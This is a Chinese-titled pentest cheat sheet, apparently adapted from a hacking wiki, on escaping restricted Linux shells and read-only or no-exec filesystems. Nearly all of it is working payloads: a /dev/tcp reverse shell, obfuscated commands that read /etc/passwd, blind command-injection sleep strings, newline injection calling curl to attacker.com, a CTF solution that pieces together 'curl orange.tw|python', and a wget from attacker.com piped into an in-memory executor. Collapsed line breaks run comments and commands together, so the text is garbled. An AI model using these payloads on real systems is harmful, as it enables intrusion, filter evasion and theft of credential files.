绕过Linux系统限制

#Trick from Dikline#Get a rev shell with(sh)0>/dev/tcp/10.10.10.10/443#Then get the out of the rev shell executing inside of it:exec >&0

# Question mark binary substitution/usr/bin/p?ng # /usr/bin/pingnma? -p 80 localhost # /usr/bin/nmap -p 80 localhost# Wildcard(*) binary substitution/usr/bin/who*mi # /usr/bin/whoami# Wildcard + local directory argumentstouch -- -la # -- stops processing options after the --ls *echo * #List current files and folders with echo and wildcard# [chars]/usr/bin/n[c] # /usr/bin/nc# Quotes'p'i'n'g # ping"w"h"o"a"m"i # whoamiech''o test # echo testech""o test # echo testbas''e64 # base64#Backslashesuname -a # uname -a/bin/////sh# $@who$@ami #whoami# Transformations (case, reverse, base64)$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)$(rev<<<'imaohw') #whoamibash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64# Execution through $0echo whoami|$0# Uninitialized variables: A uninitialized variable equals to null (nothing)cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbolp${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters# New linesping # These 4 lines will equal to ping# Fake commandsp$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shownw`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown# Concatenation of strings using history!-1 # This will be substitute by the last command executed, and !-2 by the penultimate commandmi # This will throw an errorwhoa # This will throw an error!-1!-2 # This will execute whoami

# {form}{cat,lol.txt} # cat lol.txt{echo,test} # echo test# IFS - Internal field separator, change " " for any other character ("]" in this case)cat${IFS}/etc/passwd # cat /etc/passwdcat$IFS/etc/passwd # cat /etc/passwd# Put the command line in a variable and then execute itIFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$bIFS=];b=cat]/etc/passwd;$b # Using 2 ";"IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice#  Other way, just change each space for ${IFS}echo${IFS}test# Using hex formatX=$'catx20/etc/passwd'&&$X# Using tabsecho "lsx09-l" | bash# Undefined variables and !$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefineduname!-1-a # This equals to uname -a

cat ${HOME:0:1}etc${HOME:0:1}passwdcat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

echo -e "x2fx65x74x63x2fx70x61x73x73x77x64"cat `echo -e "x2fx65x74x63x2fx70x61x73x73x77x64"`abc=$'x2fx65x74x63x2fx70x61x73x73x77x64';cat abc`echo $'catx20x2fx65x74x63x2fx70x61x73x73x77x64'`cat `xxd -r -p <<< 2f6574632f706173737764`xxd -r -ps <(echo 2f6574632f706173737764)cat `xxd -r -ps <(echo 2f6574632f706173737764)`

# Decimal IPs127.0.0.1 == 2130706433

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

echo ${LS_COLORS:10:1} #;echo ${PATH:0:1} #/

例如，您可以使用burpcollab或pingb

# Get list of builtinsdeclare builtins# In these cases PATH won't be set, so you can try to set itPATH="/bin" /bin/lsexport PATH="/bin"declare PATH="/bin"SHELL=/bin/bash# Hex$(echo -e "x2fx62x69x6ex2fx6cx73")$(echo -e "x2fx62x69x6ex2fx6cx73")# Inputread aaa; exec $aaa #Read more commands to execute and execute themread aaa; eval $aaa# Get "/" char using printf and env varsprintf %.1s "$PWD"## Execute /bin/ls$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls## To get several letters you can use a combination of printf anddeclaredeclare functionsdeclare historywords# Read flag in current dirsource f*flag.txt:1: command not found: CTF{asdasdasd}# Read file with readwhile read -r line; do echo $line; done < /etc/passwd# Get env variablesdeclare# Get historyhistorydeclare historydeclare historywords# Disable special builtins chars so you can abuse them as scripts[ #[: ']' expected## Disable "[" as builtin and enable it as scriptenable -n [echo -e '#!/bin/bashnecho "hello!"' > /tmp/[chmod +x [export PATH=/tmp:$PATHif [ "a" ]; then echo 1; fi # Will print hello!

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

# A regex that only allow letters and numbers might be vulnerable to new line characters1%0a`curl http://attacker.com`

# From https://github.com/Bashfuscator/Bashfuscator./bashfuscator -c 'cat /etc/passwd'

# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge#Oragnge Tsai solution## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration datehttp://host/?cmd=>lshttp://host/?cmd=ls>_http://host/?cmd=> http://host/?cmd=>-thttp://host/?cmd=>>ghttp://host/?cmd=ls>>_## Step2: generate `curl orange.tw|python` to file "g"## by creating the necesary filenames and writting that content to file "g" executing the previous generated filehttp://host/?cmd=>onhttp://host/?cmd=>thhttp://host/?cmd=>pyhttp://host/?cmd=>|http://host/?cmd=>twhttp://host/?cmd=>e.http://host/?cmd=>nghttp://host/?cmd=>rahttp://host/?cmd=>ohttp://host/?cmd=> http://host/?cmd=>rlhttp://host/?cmd=>cuhttp://host/?cmd=sh _# Note that a "" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file## Finally execute the file "g"http://host/?cmd=sh g# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/## Execute tar command over a folderhttp://52.199.204.34/?cmd=>tarhttp://52.199.204.34/?cmd=>zcfhttp://52.199.204.34/?cmd=>zzzhttp://52.199.204.34/?cmd=*%20/h*# Another curiosity if you can read files of the current folderln /f*## If there is a file /flag.txt that will create a hard link ## to it in the current folder

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands# it will follow the same principle of creating the command `ls -t>g` in a file# and then generate the full command in filenames# generate "g> ht- sl" to file "v"'>dir''>sl''>g>''>ht-''*>v'# reverse file "v" to file "x", content "ls -th >g"'>rev''*v>x'# generate "curl orange.tw|python;"'>;\''>on\''>th\''>py\''>|\''>tw\''>e.\''>ng\''>ra\''>o\''> \''>rl\''>cu\'# got shell'sh x''sh g'

绕过 FS 保护：只读 / no-exec / Distroless

apiVersion: v1kind: Podmetadata:name: alpine-podspec:containers:- name: alpineimage: alpinesecurityContext:readOnlyRootFilesystem: truecommand: ["sh", "-c", "while true; do sleep 1000; done"]

# Basic examplewget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar